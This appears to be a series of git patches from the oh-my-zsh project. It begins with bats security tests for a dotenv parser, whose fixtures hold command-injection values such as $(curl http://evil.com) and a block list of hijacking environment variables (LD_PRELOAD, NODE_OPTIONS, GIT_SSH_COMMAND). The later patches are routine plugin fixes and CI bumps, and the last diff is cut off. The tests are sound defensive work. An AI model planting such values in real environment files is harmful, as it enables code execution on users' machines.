+BASE_URL=/ echo command run +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow literal command substitution in single quotes' { + > "$fixture" <<'EOF' +# Single quotes make everything literal - should be parsed +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_BACKTICK='`also literal`' + +# Should also be parsed +SAFE_VAR=safe_value +EOF + + expected_vars=( + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_BACKTICK '`also literal`' + SAFE_VAR 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip backticks in unquoted values' { + > "$fixture" <<'EOF' +# Backticks in unquoted context - should be skipped +DANGEROUS_UNQUOTED=`echo danger` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dollar-paren in unquoted values' { + > "$fixture" <<'EOF' +# Command substitution in unquoted context - should be skipped +DANGEROUS_UNQUOTED=$(uname -a) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow safe dollar signs (variable refs without parens in single quotes)' { + > "$fixture" <<'EOF' +# Dollar signs that don't start command substitution +SAFE_DOLLARS='$HOME is literal' +SAFE_PRICE='Cost is $50' +SAFE_VAR='value$123' + +# Should all be parsed +SAFE_VAR2=safe_value +EOF + + expected_vars=( + SAFE_DOLLARS '$HOME is literal' + SAFE_PRICE 'Cost is $50' + SAFE_VAR 'value$123' + SAFE_VAR2 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip quoted command substitution' { + > "$fixture" <<'EOF' +HARMLESS_COMMAND="\$(echo)" +ANOTHER_ONE=$'\x24\x28echo\x29' +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'comprehensive security test with mixed safe and dangerous patterns' { + > "$fixture" <<'EOF' +# These should be SKIPPED (dangerous) +DANGEROUS_BACKTICK=`whoami` +DANGEROUS_SUBSHELL=$(date) +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +LOOKS_SAFE=$(curl http://evil.com) +BASE_URL=/ echo command run + +# These should WORK (safe) +SAFE_BEFORE=safe_value_1 +SAFE_AFTER=safe_value_2 +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_SINGLE_QUOTED2='`also literal`' +SAFE_DOLLARS='$HOME' +SAFE_PRICE="$50" +EOF + + expected_vars=( + SAFE_BEFORE 'safe_value_1' + SAFE_AFTER 'safe_value_2' + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_SINGLE_QUOTED2 '`also literal`' + SAFE_DOLLARS '$HOME' + SAFE_PRICE '$50' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + + + +@test 'blocks changes of special environment variables' { + _parse_dotenv_test =(<<'EOF' +# Executes on the next node/npm/npx invocation +NODE_OPTIONS=--require=./payload.js + +# Used for shell initialization +BASH_ENV=./payload.sh +# Used for shell initialization in zsh, but also respected by some tools like git +# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args +# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV +ENV=./payload.sh +# Used for zsh startup +ZDOTDIR=./.malicious_zsh +ZSH=./.malicious_zsh + +# These are used for native code injection +LD_PRELOAD=./payload.so +LD_LIBRARY_PATH=./malicious_libs +DYLD_INSERT_LIBRARIES=./payload.dylib + +# Git environment variables +GIT_CONFIG_GLOBAL=./.gitconfig-malicious +GIT_DIR=./malicious_git_dir +GIT_EDITOR=./malicious_editor +GIT_EXTERNAL_DIFF=./malicious_diff +GIT_EXEC_PATH=./.malicious_git_exec +GIT_PAGER=./malicious_pager +GIT_SSH=./malicious_ssh +GIT_SSH_COMMAND=./malicious_ssh_command +GIT_SSL_NO_VERIFY=true +GIT_TEMPLATE_DIR=./malicious_templates # for persistence + +# Special exported variables +PATH=./malicious_bin:$PATH +EDITOR=./malicious +VISUAL=./malicious +PAGER=./malicious +EOF +) + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} From c86ba78e2ff5c5a3e9282a84c0cc220dd3d5f253 Mon Sep 17 00:00:00 2001 From: Dylan Roman Date: Sat, 30 May 2026 07:42:57 -0400 Subject: [PATCH 08/37] feat(extract): add support for extracting to a specified directory (#13734) --- plugins/extract/_extract | 1 + plugins/extract/extract.plugin.zsh | 47 +++++++++++++++++++++++++----- 2 files changed, 40 insertions(+), 8 deletions(-) mode change 100644 => 100755 plugins/extract/extract.plugin.zsh diff --git a/plugins/extract/_extract b/plugins/extract/_extract index 6641443d3..7d71aeb1b 100644 --- a/plugins/extract/_extract +++ b/plugins/extract/_extract @@ -53,5 +53,6 @@ local -a exts=( _arguments \ '(-r --remove)'{-r,--remove}'[Remove archive.]' \ + '(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \ "*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \ && return 0 diff --git a/plugins/extract/extract.plugin.zsh b/plugins/extract/extract.plugin.zsh old mode 100644 new mode 100755 index aed77e7d7..8219f974e --- a/plugins/extract/extract.plugin.zsh +++ b/plugins/extract/extract.plugin.zsh @@ -9,14 +9,41 @@ Usage: extract [-option] [file ...] Options: -r, --remove Remove archive after unpacking. + -t, --to-directory Extract to a specific directory instead of the current one. EOF fi local remove_archive=1 - if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then - remove_archive=0 - shift - fi + local target_directory="" + + while (( $# > 0 )); do + case "$1" in + -r|--remove) + remove_archive=0 + shift + ;; + -t|--to-directory) + shift + if (( $# == 0 )); then + echo "extract: -t/--to-directory requires a directory argument" >&2 + return 1 + fi + + target_directory="$1" + shift + + if [[ ! -d "$target_directory" ]]; then + echo "extract: '$target_directory' is not a valid directory" >&2 + return 1 + fi + + target_directory="${target_directory%/}" + ;; + *) + break + ;; + esac + done local pwd="$PWD" while (( $# > 0 )); do @@ -35,6 +62,10 @@ EOF extract_dir="${extract_dir:r}" fi + if [[ -n "$target_directory" ]]; then + extract_dir="$target_directory/${extract_dir:t}" + fi + # If there's a file or directory with the same name as the archive # add a random string to the end of the extract directory if [[ -e "$extract_dir" ]]; then @@ -126,7 +157,7 @@ EOF # 1. Move and rename the extracted file/folder to a temporary random name # 2. Delete the empty folder # 3. Rename the extracted file/folder to the original name - if [[ "${content[1]:t}" == "$extract_dir" ]]; then + if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then # =(:) gives /tmp/zsh, with :t it gives zsh local tmp_name==(:); tmp_name="${tmp_name:t}" command mv "${content[1]}" "$tmp_name" \ @@ -134,9 +165,9 @@ EOF && command mv "$tmp_name" "$extract_dir" # Otherwise, if the extracted folder name already exists in the current # directory (because of a previous file / folder), keep the extract_dir - elif [[ ! -e "${content[1]:t}" ]]; then - command mv "${content[1]}" . \ - && command rmdir "$extract_dir" + elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then + command mv -- "${content[1]}" "${target_directory:-.}/" \ + && command rmdir -- "$extract_dir" fi elif [[ ${#content} -eq 0 ]]; then command rmdir "$extract_dir" From cfdc4822d4fe6abb79f6237f64957f463587fbaf Mon Sep 17 00:00:00 2001 From: Carlo Sala Date: Mon, 1 Jun 2026 09:03:26 +0200 Subject: [PATCH 09/37] ci(deps): make git clone support non-branch refs (#13787) --- .github/workflows/dependencies/updater.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/dependencies/updater.py b/.github/workflows/dependencies/updater.py index faab5a12c..6fc93ad6e 100644 --- a/.github/workflows/dependencies/updater.py +++ b/.github/workflows/dependencies/updater.py @@ -348,7 +348,7 @@ class Git: default_branch = "master" @staticmethod - def clone(remote_url: str, branch: str, repo_dir: str, reclone=False): + def clone(remote_url: str, ref: str, repo_dir: str, reclone=False): # If repo needs to be fresh if reclone and os.path.exists(repo_dir): shutil.rmtree(repo_dir) @@ -356,11 +356,11 @@ class Git: # Clone repo in tmp directory and checkout branch if not os.path.exists(repo_dir): print( - f"Cloning {remote_url} to {repo_dir} and checking out {branch}", + f"Cloning {remote_url} to {repo_dir} and checking out {ref}", file=sys.stderr, ) CommandRunner.run_or_fail( - ["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir], + ["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir], stage="Clone", ) From b86a99da177ad40de2906582c65a3d9f53b73c60 Mon Sep 17 00:00:00 2001 From: Ininsico <157946121+Ininsico@users.noreply.github.com> Date: Mon, 1 Jun 2026 13:55:38 +0500 Subject: [PATCH 10/37] fix(brew): add sbin to PATH (#13780) --- plugins/brew/README.md | 6 ++++++ plugins/brew/brew.plugin.zsh | 10 ++++++++++ 2 files changed, 16 insertions(+) diff --git a/plugins/brew/README.md b/plugins/brew/README.md index 07c387380..5e3e3fab6 100644 --- a/plugins/brew/README.md +++ b/plugins/brew/README.md @@ -17,6 +17,12 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment. +### sbin directory + +This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present. +Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This +ensures the `bdr` alias runs without warnings. + ## Aliases | Alias | Command | Description | diff --git a/plugins/brew/brew.plugin.zsh b/plugins/brew/brew.plugin.zsh index 7d5db2068..45cd89f44 100644 --- a/plugins/brew/brew.plugin.zsh +++ b/plugins/brew/brew.plugin.zsh @@ -30,6 +30,16 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then export HOMEBREW_PREFIX="$(brew --prefix)" fi +# Add Homebrew sbin to PATH if it exists and is not already in PATH. +# Homebrew's shellenv only adds bin directories, not sbin. Some formulae +# (e.g. mtr) install executables to sbin, and brew doctor warns if it's +# missing from PATH. +if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then + if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then + export PATH="$HOMEBREW_PREFIX/sbin:$PATH" + fi +fi + if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions") fi From 70ad5e3df8f7bed68aa6672029496926e632aedd Mon Sep 17 00:00:00 2001 From: Rayan Salhab Date: Mon, 1 Jun 2026 12:06:46 +0300 Subject: [PATCH 11/37] fix(golang): complete go module tools (#13786) --- plugins/golang/_golang | 48 +++++++++++++++++++++++++++++++++++++++++- 1 file changed, 47 insertions(+), 1 deletion(-) diff --git a/plugins/golang/_golang b/plugins/golang/_golang index 01b976b12..f34dbee24 100644 --- a/plugins/golang/_golang +++ b/plugins/golang/_golang @@ -15,6 +15,52 @@ __go_identifiers() { compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null) } +__go_tool_commands() { + local -a tools tool_commands + local -A command_seen short_count + local tool command + + tools=("${(@f)$(go tool 2>/dev/null)}") + + # Go 1.24+ lists module tools by package path, but also accepts unique + # default binary names for those tools. + for tool in "${tools[@]}"; do + [[ -n $tool ]] || continue + + (( command_seen[$tool]++ )) + + if [[ $tool == */* ]]; then + command=${tool:t} + + if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then + command=${${tool%/$command}:t} + fi + + (( short_count[$command]++ )) + fi + done + + for tool in "${tools[@]}"; do + [[ -n $tool ]] || continue + + tool_commands+=("$tool") + + if [[ $tool == */* ]]; then + command=${tool:t} + + if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then + command=${${tool%/$command}:t} + fi + + if (( short_count[$command] == 1 && ! command_seen[$command] )); then + tool_commands+=("$command") + fi + fi + done + + _values "go tool" "${tool_commands[@]}" +} + _go() { typeset -a commands build_flags commands+=( @@ -208,7 +254,7 @@ _go() { ;; tool) if (( CURRENT == 3 )); then - _values "go tool" $(go tool) + __go_tool_commands return fi case ${words[3]} in From e25f96735e258250b9ac2bd8e87c3afa59e78359 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 8 Jun 2026 09:12:20 +0200 Subject: [PATCH 12/37] chore(deps): bump actions/checkout from 6.0.2 to 6.0.3 (#13804) Signed-off-by: dependabot[bot] --- .github/workflows/dependencies.yml | 2 +- .github/workflows/installer.yml | 4 ++-- .github/workflows/main.yml | 2 +- .github/workflows/scorecard.yml | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index 7dd5065d8..2cb9b448f 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -21,7 +21,7 @@ jobs: egress-policy: audit - name: Checkout - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: fetch-depth: 0 - name: Authenticate as @ohmyzsh diff --git a/.github/workflows/installer.yml b/.github/workflows/installer.yml index d306f170d..2b4eba75f 100644 --- a/.github/workflows/installer.yml +++ b/.github/workflows/installer.yml @@ -31,7 +31,7 @@ jobs: egress-policy: audit - name: Set up git repository - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - name: Install zsh if: runner.os == 'Linux' run: sudo apt-get update; sudo apt-get install zsh @@ -52,7 +52,7 @@ jobs: egress-policy: audit - name: Checkout - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - name: Install Vercel CLI run: npm install -g vercel - name: Setup project and deploy diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index d452123ef..ca816375e 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -29,7 +29,7 @@ jobs: egress-policy: audit - name: Set up git repository - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - name: Install zsh run: sudo apt-get update; sudo apt-get install zsh - name: Check syntax diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index 05282bfcb..8a87d4185 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -41,7 +41,7 @@ jobs: egress-policy: audit - name: "Checkout code" - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: persist-credentials: false From 630a7c04c309a53f15e6a433c859867db17cc90e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 8 Jun 2026 09:12:39 +0200 Subject: [PATCH 13/37] chore(deps): bump github/codeql-action from 4.36.0 to 4.36.2 (#13803) Signed-off-by: dependabot[bot] --- .github/workflows/scorecard.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index 8a87d4185..f4b9e012e 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -60,6 +60,6 @@ jobs: retention-days: 5 - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v4.36.0 + uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4.36.2 with: sarif_file: results.sarif From c954bbb168fc645592c50017de0d0e138db8df5f Mon Sep 17 00:00:00 2001 From: Felipe Santos Date: Wed, 10 Jun 2026 05:56:28 -0300 Subject: [PATCH 14/37] feat(websearch)!: rename `grok` to `grokcom` (#13792) BREAKING CHANGE: Rename `grok` alias to `grokcom` to avoid conflicts with Grok Build CLI. --- plugins/web-search/README.md | 2 +- plugins/web-search/web-search.plugin.zsh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/web-search/README.md b/plugins/web-search/README.md index 8d74a08c0..ead2c19d7 100644 --- a/plugins/web-search/README.md +++ b/plugins/web-search/README.md @@ -53,7 +53,7 @@ Available search contexts are: | `gopkg` | `https://pkg.go.dev/search?m=package&q=` | | `chatgpt` | `https://chatgpt.com/?q=` | | `claudeai` | `https://claude.ai/new?q=` | -| `grok` | `https://grok.com/?q=` | +| `grokcom` | `https://grok.com/?q=` | | `reddit` | `https://www.reddit.com/search/?q=` | | `ppai` | `https://www.perplexity.ai/search/new?q=` | | `rscrate` | `https://crates.io/search?q=` | diff --git a/plugins/web-search/web-search.plugin.zsh b/plugins/web-search/web-search.plugin.zsh index 93237f4e2..b002e5678 100644 --- a/plugins/web-search/web-search.plugin.zsh +++ b/plugins/web-search/web-search.plugin.zsh @@ -93,7 +93,7 @@ alias npmpkg='web_search npmpkg' alias packagist='web_search packagist' alias gopkg='web_search gopkg' alias chatgpt='web_search chatgpt' -alias grok='web_search grok' +alias grokcom='web_search grok' alias claudeai='web_search claudeai' alias reddit='web_search reddit' alias ppai='web_search ppai' From 5181447da820331ba48ca976d1885501aa8a573b Mon Sep 17 00:00:00 2001 From: ANDI FAUZAN HEDIANTORO <144610468+fauzan171@users.noreply.github.com> Date: Sat, 13 Jun 2026 00:39:09 +0700 Subject: [PATCH 15/37] fix(deno): remove deprecated aliases and add modern ones (#13796) - Remove alias for (deprecated in Deno 1.x, removed in Deno 2.0) - Remove alias for (the --unstable flag has been deprecated in favor of granular --unstable-* flags) - Add alias for (type-check without running) - Add alias for (HTTP server introduced in Deno 1.37) - Update README to reflect changes --- plugins/deno/README.md | 28 ++++++++++++++-------------- plugins/deno/deno.plugin.zsh | 4 ++-- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/plugins/deno/README.md b/plugins/deno/README.md index 38f9f2033..9399db113 100644 --- a/plugins/deno/README.md +++ b/plugins/deno/README.md @@ -4,17 +4,17 @@ This plugin sets up completion and aliases for [Deno](https://deno.land). ## Aliases -| Alias | Full command | -| ----- | ------------------- | -| db | deno bundle | -| dc | deno compile | -| dca | deno cache | -| dfmt | deno fmt | -| dh | deno help | -| dli | deno lint | -| drn | deno run | -| drA | deno run -A | -| drw | deno run --watch | -| dru | deno run --unstable | -| dts | deno test | -| dup | deno upgrade | +| Alias | Full command | +| ----- | ---------------- | +| dc | deno compile | +| dca | deno cache | +| dck | deno check | +| dfmt | deno fmt | +| dh | deno help | +| dli | deno lint | +| drn | deno run | +| drA | deno run -A | +| drw | deno run --watch | +| dsv | deno serve | +| dts | deno test | +| dup | deno upgrade | diff --git a/plugins/deno/deno.plugin.zsh b/plugins/deno/deno.plugin.zsh index bf97d6f03..91fd1618e 100644 --- a/plugins/deno/deno.plugin.zsh +++ b/plugins/deno/deno.plugin.zsh @@ -1,14 +1,14 @@ # ALIASES -alias db='deno bundle' alias dc='deno compile' alias dca='deno cache' +alias dck='deno check' alias dfmt='deno fmt' alias dh='deno help' alias dli='deno lint' alias drn='deno run' alias drA='deno run -A' alias drw='deno run --watch' -alias dru='deno run --unstable' +alias dsv='deno serve' alias dts='deno test' alias dup='deno upgrade' From 3f6f72010f2cc6bb139338e9584cfd176596b5c9 Mon Sep 17 00:00:00 2001 From: Yotam Korah Date: Mon, 15 Jun 2026 12:51:24 +0300 Subject: [PATCH 16/37] feat(dnf): add dnfur alias (#13806) --- plugins/dnf/README.md | 31 ++++++++++++++++--------------- plugins/dnf/dnf.plugin.zsh | 1 + 2 files changed, 17 insertions(+), 15 deletions(-) diff --git a/plugins/dnf/README.md b/plugins/dnf/README.md index 1ae68035c..abd51a04a 100644 --- a/plugins/dnf/README.md +++ b/plugins/dnf/README.md @@ -15,18 +15,19 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`. ## Aliases -| Alias | Command | Description | -|-------|-------------------------|--------------------------| -| dnfl | `dnf list` | List packages | -| dnfli | `dnf list --installed` | List installed packages | -| dnfgl | `dnf grouplist` | List package groups | -| dnfmc | `dnf makecache` | Generate metadata cache | -| dnfp | `dnf info` | Show package information | -| dnfs | `dnf search` | Search package | -| **Use `sudo`** | -| dnfu | `sudo dnf upgrade` | Upgrade package | -| dnfi | `sudo dnf install` | Install package | -| dnfgi | `sudo dnf groupinstall` | Install package group | -| dnfr | `sudo dnf remove` | Remove package | -| dnfgr | `sudo dnf groupremove` | Remove package group | -| dnfc | `sudo dnf clean all` | Clean cache | +| Alias | Command | Description | +|-------|-------------------------------|------------------------------------------| +| dnfl | `dnf list` | List packages | +| dnfli | `dnf list --installed` | List installed packages | +| dnfgl | `dnf grouplist` | List package groups | +| dnfmc | `dnf makecache` | Generate metadata cache | +| dnfp | `dnf info` | Show package information | +| dnfs | `dnf search` | Search package | +| **Use `sudo`** | +| dnfu | `sudo dnf upgrade` | Upgrade package | +| dnfur | `sudo dnf upgrade --refresh` | Upgrade package (force metadata refresh) | +| dnfi | `sudo dnf install` | Install package | +| dnfgi | `sudo dnf groupinstall` | Install package group | +| dnfr | `sudo dnf remove` | Remove package | +| dnfgr | `sudo dnf groupremove` | Remove package group | +| dnfc | `sudo dnf clean all` | Clean cache | diff --git a/plugins/dnf/dnf.plugin.zsh b/plugins/dnf/dnf.plugin.zsh index 34d5e975b..1726cc0bb 100644 --- a/plugins/dnf/dnf.plugin.zsh +++ b/plugins/dnf/dnf.plugin.zsh @@ -11,6 +11,7 @@ alias dnfp="${dnfprog} info" # Show package information alias dnfs="${dnfprog} search" # Search package alias dnfu="sudo ${dnfprog} upgrade" # Upgrade package +alias dnfur="sudo ${dnfprog} upgrade --refresh" # Upgrade package and refresh repos alias dnfi="sudo ${dnfprog} install" # Install package alias dnfr="sudo ${dnfprog} remove" # Remove package alias dnfc="sudo ${dnfprog} clean all" # Clean cache From ffa8487bc740d76f481cf7cecde8a9571a36b00c Mon Sep 17 00:00:00 2001 From: SOUFIAN3HM <123272999+soufian3hm@users.noreply.github.com> Date: Mon, 15 Jun 2026 10:56:22 +0100 Subject: [PATCH 17/37] fix(aws): use return instead of exit to avoid killing the shell (#13811) --- plugins/aws/aws.plugin.zsh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/aws/aws.plugin.zsh b/plugins/aws/aws.plugin.zsh index 0c43031df..677bf3236 100644 --- a/plugins/aws/aws.plugin.zsh +++ b/plugins/aws/aws.plugin.zsh @@ -9,14 +9,14 @@ function agr() { # Update state file if enabled function _aws_update_state() { if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then - test -d $(dirname ${AWS_STATE_FILE}) || exit 1 + test -d $(dirname ${AWS_STATE_FILE}) || return 1 echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}" fi } function _aws_clear_state() { if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then - test -d $(dirname ${AWS_STATE_FILE}) || exit 1 + test -d $(dirname ${AWS_STATE_FILE}) || return 1 echo -n > "${AWS_STATE_FILE}" fi } From d708ca9d99a1b60dae85387b142087111dd03eb9 Mon Sep 17 00:00:00 2001 From: SOUFIAN3HM <123272999+soufian3hm@users.noreply.github.com> Date: Mon, 15 Jun 2026 11:06:22 +0100 Subject: [PATCH 18/37] fix(macports): correct inverted logic (#13812) --- plugins/macports/macports.plugin.zsh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/macports/macports.plugin.zsh b/plugins/macports/macports.plugin.zsh index d438057f9..9b2abf466 100644 --- a/plugins/macports/macports.plugin.zsh +++ b/plugins/macports/macports.plugin.zsh @@ -8,7 +8,7 @@ alias puo="sudo port upgrade outdated" alias pup="sudo port selfupdate && sudo port upgrade outdated" port-livecheck-maintainer() { - (( ${+commands[port]} == 0 )) || { + (( ${+commands[port]} )) || { print -- "port: not found" >&2 return 1 } From 9a67e3b3f5e8371422a7b6cdea49931698cd8c7e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BE=A1=E9=A3=8E?= <1795771535y@gmail.com> Date: Mon, 15 Jun 2026 18:08:05 +0800 Subject: [PATCH 19/37] fix(git): support nounset option (#13816) --- lib/git.zsh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/git.zsh b/lib/git.zsh index 3a03dbd4d..63482df6e 100644 --- a/lib/git.zsh +++ b/lib/git.zsh @@ -162,13 +162,13 @@ if zstyle -t ':omz:alpha:lib:git' async-prompt \ # or any of the other prompt variables function _defer_async_git_register() { # Check if git_prompt_info is used in a prompt variable - case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in + case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in *(\$\(git_prompt_info\)|\`git_prompt_info\`)*) _omz_register_handler _omz_git_prompt_info ;; esac - case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in + case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in *(\$\(git_prompt_status\)|\`git_prompt_status\`)*) _omz_register_handler _omz_git_prompt_status ;; From 0a91ce20d59bcace20b66c62f56cafe5377d1bf6 Mon Sep 17 00:00:00 2001 From: Lucas Ma <396089703@qq.com> Date: Mon, 15 Jun 2026 18:15:30 +0800 Subject: [PATCH 20/37] fix(vi-mode): keep cursor hook status successful (#13822) --- plugins/vi-mode/vi-mode.plugin.zsh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/vi-mode/vi-mode.plugin.zsh b/plugins/vi-mode/vi-mode.plugin.zsh index 85208cfc9..2704fb05e 100644 --- a/plugins/vi-mode/vi-mode.plugin.zsh +++ b/plugins/vi-mode/vi-mode.plugin.zsh @@ -26,7 +26,7 @@ typeset -g VI_MODE_CURSOR_OPPEND=${VI_MODE_CURSOR_OPPEND:=0} typeset -g VI_KEYMAP=${VI_KEYMAP:=main} function _vi-mode-set-cursor-shape-for-keymap() { - [[ "$VI_MODE_SET_CURSOR" = true ]] || return + [[ "$VI_MODE_SET_CURSOR" = true ]] || return 0 # https://vt100.net/docs/vt510-rm/DECSCUSR local _shape=0 From 96ea17080a7addd1cd8b6253422776bc237fc6b1 Mon Sep 17 00:00:00 2001 From: Lucas Ma <396089703@qq.com> Date: Mon, 15 Jun 2026 18:18:28 +0800 Subject: [PATCH 21/37] fix(installer): tolerate sudo shims without -k (#13821) Co-authored-by: Lucas Ma <7184042+pony-maggie@users.noreply.github.com> --- tools/install.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/install.sh b/tools/install.sh index d907b795c..5234c17a4 100755 --- a/tools/install.sh +++ b/tools/install.sh @@ -473,7 +473,7 @@ EOF # be prompted for the password either way, so this shouldn't cause any issues. # if user_can_sudo; then - sudo -k >/dev/null 2>&1 # -k forces the password prompt + sudo -k >/dev/null 2>&1 || true # -k forces the password prompt when supported sudo chsh -s "$zsh" "$USER" else chsh -s "$zsh" "$USER" # run chsh normally From df34d2b8d575777465aed8ae9b7cd90d63fdcd6e Mon Sep 17 00:00:00 2001 From: ANDI FAUZAN HEDIANTORO <144610468+fauzan171@users.noreply.github.com> Date: Mon, 15 Jun 2026 17:22:58 +0700 Subject: [PATCH 22/37] chore(ansible): zsh-ify some code (#13797) --- plugins/ansible/ansible.plugin.zsh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/plugins/ansible/ansible.plugin.zsh b/plugins/ansible/ansible.plugin.zsh index 75393b704..bfe7f8cb4 100644 --- a/plugins/ansible/ansible.plugin.zsh +++ b/plugins/ansible/ansible.plugin.zsh @@ -1,13 +1,13 @@ # Functions -function ansible-version(){ +function ansible-version() { ansible --version } -function ansible-role-init(){ - if ! [ -z $1 ] ; then +function ansible-role-init() { + if [[ -n "$1" ]]; then echo "Ansible Role : $1 Creating...." - ansible-galaxy init $1 - tree $1 + ansible-galaxy init "$1" + tree "$1" else echo "Usage : ansible-role-init " echo "Example : ansible-role-init role1" From 639b566f0e89fb90a6b5d56523cbebd0784c3882 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 25 Jun 2026 09:36:20 +0200 Subject: [PATCH 23/37] chore(deps): bump actions/checkout from 6.0.3 to 7.0.0 (#13832) Signed-off-by: dependabot[bot] --- .github/workflows/dependencies.yml | 2 +- .github/workflows/installer.yml | 4 ++-- .github/workflows/main.yml | 2 +- .github/workflows/scorecard.yml | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index 2cb9b448f..a17d66f4a 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -21,7 +21,7 @@ jobs: egress-policy: audit - name: Checkout - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 with: fetch-depth: 0 - name: Authenticate as @ohmyzsh diff 